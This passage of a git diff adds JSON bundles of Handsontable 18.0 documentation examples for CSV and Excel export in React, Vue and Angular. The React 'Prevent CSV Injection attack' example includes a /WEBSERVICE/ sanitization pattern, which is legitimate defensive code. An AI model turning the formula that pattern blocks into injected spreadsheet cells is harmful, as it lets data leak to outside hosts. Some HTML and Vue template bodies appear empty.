build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const buttonClickCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n };\n\n return (\n <>\n
\n
\n \n
\n
\n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-csv/react/example1.tsx","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__react__example2.tsx.json new file mode 100644 index 00000000..289dd0ef --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const buttonClickCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n const exportedBlob = exportPlugin?.exportAsBlob('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedBlob);\n };\n\n return (\n <>\n
\n
\n \n
\n
\n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-csv/react/example2.tsx","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__react__example3.tsx.json new file mode 100644 index 00000000..9ffe25f9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const buttonClickCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n const exportedString = exportPlugin?.exportAsString('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedString);\n };\n\n return (\n <>\n
\n
\n \n
\n
\n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-csv/react/example3.tsx","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__react__example4.tsx.json new file mode 100644 index 00000000..20145b4d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const downloadWithNoSanitizationCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n });\n };\n\n const downloadWithRecommendedSanitizationCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: true,\n });\n };\n\n const downloadWithRegexpSanitizationCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: /WEBSERVICE/,\n });\n };\n\n const downloadWithFunctionSanitizationCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: (value) => {\n return /WEBSERVICE/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;\n },\n });\n };\n\n return (\n <>\n
\n
\n \n \n \n \n
\n
\n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-csv/react/example4.tsx","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__vue__example1.vue.json new file mode 100644 index 00000000..79ce0405 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-csv/vue/example1.vue","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__vue__example2.vue.json new file mode 100644 index 00000000..4491cdc5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-csv/vue/example2.vue","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__vue__example3.vue.json new file mode 100644 index 00000000..110f9ed4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-csv/vue/example3.vue","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__vue__example4.vue.json new file mode 100644 index 00000000..ab3c07be --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-csv/vue/example4.vue","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__angular__example1.ts.json new file mode 100644 index 00000000..c07cdbe9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport ExcelJS from 'exceljs';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example1',\n template: `\n
\n
\n \n
\n
\n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['Alice Martin', 'North', 142000, true, 'Exceeded Q1 target by 18%.'],\n ['Bob Chen', 'East', 98500, true, 'Strong pipeline for Q2.'],\n ['Carol Davies', 'South', 76200, false, 'Needs coaching on closing.'],\n ['David Kim', 'West', 115300, true, 'Cross-sell opportunity.'],\n ['Eva Rossi', 'North', 54800, false, 'Sick leave impacted March.'],\n ['TOTALS', '', null, '', ''],\n ];\n\n readonly hotSettings: GridSettings = {\n nestedHeaders: [\n [\n { label: 'Sales Representative', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Results', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Notes', colspan: 1, headerClassName: 'htLeft' },\n ],\n ['Name', 'Region', 'Revenue ($)', 'Hit Target?', 'Notes'],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n { type: 'text' },\n ],\n columnSummary: [\n {\n sourceColumn: 2,\n destinationRow: 5,\n destinationColumn: 2,\n type: 'sum',\n forceNumeric: true,\n },\n ],\n mergeCells: [{ row: 5, col: 0, rowspan: 1, colspan: 2 }],\n customBorders: [{ row: 5, col: 2, top: { width: 2, color: '#333333' } }],\n cell: [\n { row: 5, col: 0, readOnly: true },\n { row: 5, col: 2, readOnly: true },\n ],\n fixedColumnsStart: 1,\n rowHeaders: true,\n colHeaders: false,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n afterInit(this: Handsontable) {\n this.setCellMeta(0, 4, 'comment', { value: 'Top sales rep — review for promotion.' });\n this.render();\n },\n };\n\n async exportFile(): Promise {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Q1-Sales-Report',\n colHeaders: true,\n rowHeaders: true,\n exportFormulas: true,\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-excel/angular/example1.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__angular__example2.ts.json new file mode 100644 index 00000000..dfe35eec --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n 